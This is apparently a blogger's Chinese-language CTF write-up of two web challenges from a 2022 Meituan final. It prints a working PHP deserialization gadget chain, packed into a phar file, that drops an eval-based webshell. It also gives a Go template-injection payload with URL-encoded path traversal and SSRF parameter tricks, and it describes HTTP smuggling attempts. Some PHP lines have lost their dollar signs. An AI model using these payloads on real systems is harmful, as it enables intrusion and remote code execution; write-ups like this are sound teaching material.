2022MTCTF-Final-WP-Web

2022MTCTF-Final-WP-Web

今天美团决赛属于个人赛了, 早上拿了一血之后就坐大牢了,就再也没有解出第2题, 输麻了, 团队预计最后应该和几个队伍一起并列第三或第四吧…

Mako ImageMagick(7解)

Mako8.0.6

拿到源码之后看了一会儿目录结构感觉和TP的结构差不多, 应该就是TP二次开发而来的, 然后就是审了一下控制器的代码感觉也没有什么明显的漏洞, 并且网上也没找到该框架的相关漏洞, 然后接审代码注意到了修改图片的\app\controllers\ImagesController::editGet函数

image-20220925184750080

image-20220925184804837

间接调用了file_exists判断我们传入的filename文件是否存在, 到这里就让我想起了反序列化, 联想到了TP的反序列化链子就直接搜索了一下__destruct函数

image-20220925184908703

也没有多少个就都看了一下, 几乎都是关闭资源接口的函数, 但是在\mako\session\Session::__destruct确实发现了和TP几乎一样的调用机制,跟进commit函数

image-20220925185034109

后面的write函数有多个类实现了函数接口, 都进去看了一下主要是一些数据库相关的执行函数, 但是\mako\session\stores\File::write确实与文件相关

image-20220925185053656

跟到这里看到put函数感觉几乎没什么太大的问题了, 在跟进去看一下

image-20220925185104354

到此执行了file_put_contents函数, 而且一路下来的参数都是取自$this这就意味着我们可以自由操控这些参数为我们想要的值, 而且中途的判断也是很好实现的, 后面就根据上面的链子构造拿到简单的序列化对象然后再写到pahr文件中:

<?php
namespace mako\file{
    class FileSystem
    {
    }
}
namespace mako\session\stores{
    interface StoreInterface
    {
    }
}
namespace mako\session\stores{
    use mako\file\FileSystem;
    class File implements StoreInterface
    {
        public function __construct(){
            this->fileSystem=new FileSystem();this->sessionPath='/var/www/mako/public';//注意要写绝对路径不要用点,否则可能会把shell.php写到PHP解释器所在的目录下
        }
    }
}
namespace mako\session{

    use mako\session\stores\File;

    class Session{
        public function __construct(){
            this->autoCommit=true;this->flashData='<?php eval(_REQUEST[0]);phpinfo();?>';this->sessionId="shell.php";
            this->destroyed=false;this->store=new File();
        }
    }
}

namespace {

    use mako\session\Session;
    session=new Session();ser=base64_encode(
        serialize(
            session
        )
    );
    file_put_contents("poc.txt",ser);
    var_dump(ser);

    function makephar(ser,test=false){phar=new phar('test.phar');//后缀名必须为phar
        phar->startBuffering();phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
        phar->setMetadata(ser);//自定义的meta-data存入manifest
        phar->addFromString("flag.txt","flag");//添加要压缩的文件phar->stopBuffering();
        if(test){
            var_dump(file_exists("./test.phar"));
        }
    }
    makephar(session);

}

后面就是将生成的phar文件上传

image-20220925114209780

然后在/edit接口传入一个触发phar反序列化的filename参数即可(之前没注意到版本, 应该先看一下版本的, 毕竟PHP8.x就不支持phar反序列化了, 虽然说一般都是PHP7的居多)

image-20220925114159292

到这里写文件就完成了, 直接去访问/shell.php即可, 0参数会被eval函数执行,然后执行system("/readFlag ");拿到flag

/index.php/edit?filename=phar:///var/www/mako/uploads/test.phar
/shell.php?0=system("/readFlag ");

比赛结束web的题解情况:

image-20220926031101614

safechat(2解,未出写思路)

源码

Nginx配置(这很关键)

server {
    # https://www.digitalocean.com/community/tools/nginx?domains.0.https.https=false&domains.0.php.php=false&domains.0.reverseProxy.reverseProxy=true&domains.0.reverseProxy.path=%2Fapi%2Fpublic&domains.0.reverseProxy.proxyPass=http%3A%2F%2Flocalhost%3A18000&domains.0.routing.index=index.html&domains.0.routing.fallbackHtml=true&global.app.lang=zhCN
    listen       80;
    server_name  _;

    access_log  /var/log/nginx/access.log;
    error_log  /var/log/nginx/error.log;
    root /var/www/html/;
    index index.html;

    location ~ ^/api/public {
        proxy_pass http://localhost:18000;
        proxy_http_version                 1.1;
        proxy_cache_bypass                 http_upgrade;

        # Proxy headers
        proxy_set_header Upgradehttp_upgrade;
        proxy_set_header Connection        connection_upgrade;
        proxy_set_header Hosthost;
        proxy_set_header X-Real-IP         remote_addr;
        proxy_set_header Forwardedproxy_add_forwarded;
        proxy_set_header X-Forwarded-For   proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Protoscheme;
        proxy_set_header X-Forwarded-Host  host;
        proxy_set_header X-Forwarded-Portserver_port;

        # Proxy timeouts
        proxy_connect_timeout              60s;
        proxy_send_timeout                 60s;
        proxy_read_timeout                 60s;
    }
}

main.go

package main

import (
    "fmt"
    "math/rand"
    "strconv"
    "time"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func RandBytes(len int) []byte {
    r := rand.New(rand.NewSource(time.Now().UnixNano()))
    bytes := make([]byte, len)
    for i := 0; i < len; i++ {
        b := r.Intn(26) + 65
        bytes[i] = byte(b)
    }
    return bytes
}

func main() {

    go h.run()

    router := gin.New()
    router.LoadHTMLFiles("index.html")
    store := cookie.NewStore(RandBytes(48))
    router.Use(sessions.Sessions("GINSESSION", store))

    router.GET("/:roomId", func(c *gin.Context) {
        c.HTML(200, "index.html", nil)
    })

    router.GET("/api/public/ws/:roomId", func(c *gin.Context) {
        roomId := c.Param("roomId")
        session := sessions.Default(c)

        isVip := false

        if session.Get("role") == "vip" {
            isVip = true
        } else {
            session.Set("role", false)
            session.Save()
        }

        serveWs(c.Writer, c.Request, roomId, isVip)
    })

    router.POST("/api/public/healthcheck", func(c *gin.Context) {
        host := "127.0.0.1"
        port := 80
        session := sessions.Default(c)
        session.Set("role", false)
        session.Save()
        if c.PostForm("host") != "" {
            host = c.PostForm("host")
        }
        if c.PostForm("port") != "" {
            iport, err := strconv.Atoi(c.PostForm("port"))
            if err == nil {
                port = iport
            }
        }
        url := fmt.Sprintf("http://%s:%d/", host, port)
        fmt.Print(url)
        response := httpRequest(url, "GET")
        c.String(response.StatusCode, "got it")
    })

    router.POST("/api/internal/vip", func(c *gin.Context) {
        session := sessions.Default(c)

        // 通过session.Get读取session值
        // session是键值对格式数据,因此需要通过key查询数据
        if session.Get("role") != "vip" {
            // 设置session数据
            session.Set("role", "vip")
            // 保存session数据
            session.Save()
        }
        c.String(200, "you have got vip")
    })

    router.Run("0.0.0.0:18000")
}

model.go

package main

import (
    b64 "encoding/base64"
    "net/url"
    "os"
    "path"
    "strings"

    "fmt"
    "io/ioutil"
)

type User struct {
    IsVIP bool `json:"is_vip"`
}

func (u User) RenderAvatar(img_path string) string {
    if !u.IsVIP {
        return ""
    }

    if strings.Contains(img_path, "..") {
        return ""
    }

    img_path, err := url.QueryUnescape(img_path)

    file, err := os.Open(path.Join("/app/avatar/", img_path))
    if err != nil {
        panic(err)
    }
    defer file.Close()

    out, err := ioutil.ReadAll(file)
    enc := b64.StdEncoding.EncodeToString(out)
    return "<img src=\"data://image/png;base64," + enc + "\"/>"
}

func (u User) RedMsg(msg string) string {
    if !u.IsVIP {
        return ""
    }
    return fmt.Sprintf("<p style=\"color:red;\">%s</p>", msg)
}

func (u User) BlueMsg(msg string) string {
    return fmt.Sprintf("<p style=\"color:blue;\">%s</p>", msg)
}

req.go

package main

import (
    "bytes"
    "crypto/tls"
    "fmt"
    "io/ioutil"
    "net/http"
)

func httpRequest(targetUrl string, method string) *http.Response {

    request, error := http.NewRequest(method, targetUrl, bytes.NewBuffer([]byte(nil)))

    customTransport := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: customTransport}
    response, error := client.Do(request)
    defer response.Body.Close()

    if error != nil {
        panic(error)
    }

    body, _ := ioutil.ReadAll(response.Body)
    fmt.Println("response Status:", response.Status)
    fmt.Println("response Body:", string(body))
    return response
}

client.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "net/http"
    "text/template"
    "time"

    "github.com/gorilla/websocket"
)

const (
    // Time allowed to write a message to the peer.
    writeWait = 10 * time.Second

    // Time allowed to read the next pong message from the peer.
    pongWait = 60 * time.Second

    // Send pings to peer with this period. Must be less than pongWait.
    pingPeriod = (pongWait * 9) / 10

    // Maximum message size allowed from peer.
    maxMessageSize = 512
)

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    // 解决跨域问题
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
}

type connection struct {
    // The websocket connection.
    ws *websocket.Conn

    // Buffered channel of outbound messages.
    send chan []byte
}

func (s subscription) readPump(isVip bool) {
    c := s.conn
    defer func() {
        h.unregister <- s
        c.ws.Close()
    }()
    c.ws.SetReadLimit(maxMessageSize)
    c.ws.SetReadDeadline(time.Now().Add(pongWait))
    c.ws.SetPongHandler(func(string) error { c.ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
    for {
        _, msg, err := c.ws.ReadMessage()
        if err != nil {
            if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway) {
                log.Printf("error: %v", err)
            }
            break
        }
        m := message{renderMsg(isVip, msg), s.room}
        h.broadcast <- m
    }
}

func (c *connection) write(mt int, payload []byte) error {
    c.ws.SetWriteDeadline(time.Now().Add(writeWait))
    return c.ws.WriteMessage(mt, payload)
}

func (s *subscription) writePump() {
    c := s.conn
    ticker := time.NewTicker(pingPeriod)
    defer func() {
        ticker.Stop()
        c.ws.Close()
    }()
    for {
        select {
        case message, ok := <-c.send:
            if !ok {
                c.write(websocket.CloseMessage, []byte{})
                return
            }
            if err := c.write(websocket.TextMessage, message); err != nil {
                return
            }
        case <-ticker.C:
            if err := c.write(websocket.PingMessage, []byte{}); err != nil {
                return
            }
        }
    }
}

func serveWs(w http.ResponseWriter, r *http.Request, roomId string, isVip bool) {
    //fmt.Print(roomId)
    ws, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        log.Println(err.Error())
        return
    }
    c := &connection{send: make(chan []byte, 256), ws: ws}
    s := subscription{c, roomId}
    h.register <- s

    if isVip {
        welcome := "<p style=\"color:red;\">welcome vip</p>"

        m := message{[]byte(welcome), s.room}
        h.broadcast <- m
    }

    go s.writePump()
    go s.readPump(isVip)
}

func renderMsg(isVIP bool, msg []byte) []byte {
    defer func() {
        if err := recover(); err != nil {
            fmt.Println(err)
        }
    }()

    u := User{
        IsVIP: isVIP,
    }

    templateText := fmt.Sprintf("{{.BlueMsg \"%s\"}}", msg)

    t, _ := template.New("main").Parse(templateText)

    var tpl bytes.Buffer

    if err := t.Execute(&tpl, u); err != nil {
        return []byte("")
    }

    return tpl.Bytes()
}

hub.go

package main

type message struct {
    data []byte
    room string
}

type subscription struct {
    conn *connection
    room string
}

// hub maintains the set of active connections and broadcasts messages to the
// connections.
type hub struct {
    // Registered connections.
    rooms map[string]map[*connection]bool

    // Inbound messages from the connections.
    broadcast chan message

    // Register requests from the connections.
    register chan subscription

    // Unregister requests from connections.
    unregister chan subscription
}

var h = hub{
    broadcast:  make(chan message),
    register:   make(chan subscription),
    unregister: make(chan subscription),
    rooms:      make(map[string]map[*connection]bool),
}

func (h *hub) run() {
    for {
        select {
        case s := <-h.register:
            connections := h.rooms[s.room]
            if connections == nil {
                connections = make(map[*connection]bool)
                h.rooms[s.room] = connections
            }
            h.rooms[s.room][s.conn] = true
        case s := <-h.unregister:
            connections := h.rooms[s.room]
            if connections != nil {
                if _, ok := connections[s.conn]; ok {
                    delete(connections, s.conn)
                    close(s.conn.send)
                    if len(connections) == 0 {
                        delete(h.rooms, s.room)
                    }
                }
            }
        case m := <-h.broadcast:
            connections := h.rooms[m.room]
            for c := range connections {
                select {
                case c.send <- m.data:
                default:
                    close(c.send)
                    delete(connections, c)
                    if len(connections) == 0 {
                        delete(h.rooms, m.room)
                    }
                }
            }
        }
    }
}

题解

先来看一下Nginx的配置文件

image-20220926014104882

可以看到默认打开80端口并将目录/var/www/html/映射出去, 但是如果请求的链接URI是以/api/public位开头的话就会使用http://localhost:18000作为代理进行请求处理(这点很重要,注意看golang服务中的路由)

路由分析

下面来看main.go文件, 可以看到里面指定了下面几个路由:

  1. /:roomId GET请求

    例如访问/aaa那么aaa就会被解析成为roomId 变量

  2. /api/public/ws/:roomId GET请求

    这里就是执行下面几个步骤:

    1. 判断当前session会话是否为vip
    2. 对传输过来的数据进行模板渲染(是否为vip在进行模板渲染的时候会有差别)
  3. /api/public/healthcheck POST请求

    这个接口会获取我们传入的hostport变量, 然后指向下面步骤

    1. 将host和port的拼接结果http://host:port/作为url
    2. 调用req.go中自定义的httpRequest函数, 使用GET请求的方式请求url
    3. 返回url请求状态码+got it(但是实际上只能收到got it)
  4. /api/internal/vip POST请求

    判断当前session会话是否为vip, 如果不是vip则将其设为vip

漏洞点锁定

了解完了之后我是一脸懵的, 因为对golang并不了解, 然后看了一遍全程调用的函数, 完全没有发现哪里有漏洞点, 但是后面一个个文件仔细读代码可以在model.go中发现这么个模板函数:

func (u User) RenderAvatar(img_path string) string {
    if !u.IsVIP {
        return ""
    }

    if strings.Contains(img_path, "..") {
        return ""
    }

    img_path, err := url.QueryUnescape(img_path)

    file, err := os.Open(path.Join("/app/avatar/", img_path))
    if err != nil {
        panic(err)
    }
    defer file.Close()

    out, err := ioutil.ReadAll(file)
    enc := b64.StdEncoding.EncodeToString(out)
    return "<img src=\"data://image/png;base64," + enc + "\"/>"
}

可以看到是有文件读取的操作的, 而且函数的参数还被拼接到了读取文件的路径末尾

所以这里如果将传入的img_path控制为../../../../../../../../../../flag就可以对flag进行读取了

但是注意到上面strings.Contains(img_path, "..")img_path参数做了..是否存在的判断, 如果存在..的话就直接return了, 但是其实这个不是问题

我们看到下一行

img_path, err := url.QueryUnescape(img_path)

在判断完了之后就直接对img_path进行了一次url解码, 所以直接将文件路径url编码一下就好

触发漏洞点

知道终点在哪里了之后就是找漏洞的触发点了, 这个RenderAvatar要怎么触发呢?

这就要回到/api/public/ws/:roomId路由调用的模板渲染了

在路由函数的末尾调用了client.go中的serveWs函数, 在serveWs函数中对websocket发送过来的数据进行了接收, 并且调用了client.go中的readPump函数, 然后又在readPump中调用了client.go中的renderMsg函数, 模板渲染就是在这里完成的, 并且渲染后的内容会通过原本传输数据的websocket原路发送回去, 就是说这里的渲染结果我们是可以收到的, 下面看一下模板渲染的函数源代码

image-20220926020906984

可以看到里面传入了两个参数, 一个是之前进行的当前session是否为vip的判断isVIP, 另一个则是从websocket接收到的数据msg

所以就是说msg参数我们是可控的(题目有一个会话输入的窗口,输入的信息就是通过ws://的方式被送到了这个msg中)

msg被添加到了渲染原始模板中, 而且没有任何过滤, 所以就是说我们可进行任意模板渲染(传入对象是User类型的u对象, isVIP被赋值在u.IsVIP中)

在这里需要注意到,之前的RenderAvatar模板函数前面指定的模板对象类型就是User, 所以在这完全合适, 可以通过模板调用触发函数, 至于原理的话可以参考我的了一篇学习笔记golang模板渲染可控的条件下可以做什么?

之后就是构造触发模板渲染读取flag的msg参数payload:

"}}{{.RenderAvatar "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/flag

这个payload直接在题目的会话框输入即可触发模板渲染然后收到被读出的flag(不是

vip的身份验证(我就是这步没完成)

我们上面要实现通过RenderAvatar渲染模板读出flag的话还需要完成vip的身份验证, 因为在RenderAvatar函数中如果识别当前的session非vip的话就会直接返回空字符串而不会进行文件读取了

那么要怎么完成vip的身份验证呢?

这时候需要想到/api/internal/vip这个用于将会话设为vip的路由, 但是这个路由我们是访问不了的, 因为我们只能访问到docker容器的80端口, 而golang是在18000端口运行的, 只有请求的资源是/api/public的时候才会通过代理转到 http://localhost:18000代理

满足直接访问的golang路由有下面两个:

  1. 用于模板渲染的 /api/public/ws/:roomId
  2. 用于发出SSRF请求的 /api/public/healthcheck

第一个就不用说了, 看到第二个, SSRF的url链接通过下面代码得到(port参数会被转int类型):

url := fmt.Sprintf("http://%s:%d/", host, port)

这里要实现绕过很容易, 就直接让host完成整个url的确定, 后面的数据通过#?的拼接使其不影响需要访问的url,例如:

host=127.0.0.1:18000/index.html?a=
port=0

得到的url:: http://127.0.0.1:18000/index.html?a=0

一般来说这时候直接通过SSRF访问http://127.0.0.1:18000/api/internal/vip拿到vip身份即可, 然而这是不行的,主要是以下问题:

  1. 服务器进行SSRF指定的是GET方式请求, 而/api/internal/vip路由指定的是POST请求方式, 所以即使访问了也是不生效的

  2. 此外需要注意, 实现SSRF的函数如下, 是通过NewRequest直接生成一个新的请求, 然后指定请求方式以及url就直接访问了, 所以对于设置session对应的cookie的控制我们是做不到的, 就是说这里生成的vip的session每次都是新的, 返回的cookie更是长达48位不存在爆破的可能性

    func httpRequest(targetUrl string, method string) *http.Response {
    
    request, error := http.NewRequest(method, targetUrl, bytes.NewBuffer([]byte(nil)))
    
    customTransport := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: customTransport}
    response, error := client.Do(request)
    defer response.Body.Close()
    
    if error != nil {
        panic(error)
    }
    
    body, _ := ioutil.ReadAll(response.Body)
    fmt.Println("response Status:", response.Status)
    fmt.Println("response Body:", string(body))
    return response
    }

所以直接通过SSRF访问vip身份获取接口直接一把梭的方法是做不到的了, 我便是早早卡在了这里, 后面我又进行了一些尝试虽然失败了但也还是记录一下吧, 就当做个思路参考记录:

  1. 直接将换行设置在url中, 原本我想通过这个方式进行http走私, 但是这个本就不怎么抱有希望的方法最后确实失败了, 本地测试的时候发现url中是不能有换行的, 如果有换行就会直接报错根本不会发出http请求, 但是\t制表符还是可以有的(并没有什么用)
  2. 上面的方法失败之后我又试了xss的方式, 因为html中的script脚本请求127.0.0.1的链接的时候是没有跨域限制的, 所以如果script脚本解析的话我们是可以直接通过将发出请求的script代码写在html中完成请求的. 然而, 这个请求方式根本不会解析script代码, 只是单纯地精心url请求, 然后将返回结果输出, 所以这个尝试也失败了
  3. 之后我又试了http走私, 原理大概就是看看Nginx服务golang服务对请求解析是否存在差异, 如果存在差异的话就可以通过包中带包的方式进行http走私了(例如header中设置2个Content-Length, 我们将另一个POST的请求数据包加在body的后面, 第一个Content-Length正常数据长度+走私数据包长度,第二个Content-Length正常数据长度, 如果Nginx解析第一个CL,而golang解析第二个的话就可以完成走私), 不过显然还是失败了, 我试了 CL-CL,CL-TE,TE-CL,TE-TE均以失败告终
  4. 重定向跳转, 这个是可以完成跳转的, 但是地我们并没有什么用, 因为重定向默认还是使用GET请求方式访问, 而且不能指定任何的参数数据, 原本的一样存在
  5. 最后我就找了一下Nginx的配置文件default.conf里面对代理的详细配置, 企图从里面找到走私漏洞配置, 但是里面的参数配置是没有什么问题的(我没找到,但不敢说绝对,比较对这些配置文件也不是非常了解)所以这个思路还是失败了

此外还有一个是比赛结束后想的, 不过有点离谱了, 那就是有没有可能在80端口存在某个页面有php的经典走私服务代码???(虽说感觉应该不会,但真是例如在/index.php的话那我真的裂开

最后只能说看看能不能从其他师傅那里拿到一些信息吧, 如果是golang的request的请求走私漏洞或者Nginx中间件走私漏洞Nginx匹配代理错误的漏洞我算是服了, 毕竟我找了一下网上关于golang的request的请求走私漏洞以及`nginx/1.14.0 (Ubuntu)请求走私漏洞完全没见到有什么相关信息(不过我记得Apache对于正则路由匹配的相关漏洞好像有不少)

裂开的一天, 大起大落.

不以物喜,不以己悲,收拾心情整理一下字节ByteCTF的WP继续内网渗透的学习了, 冲冲冲:runner::running::runner::running:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇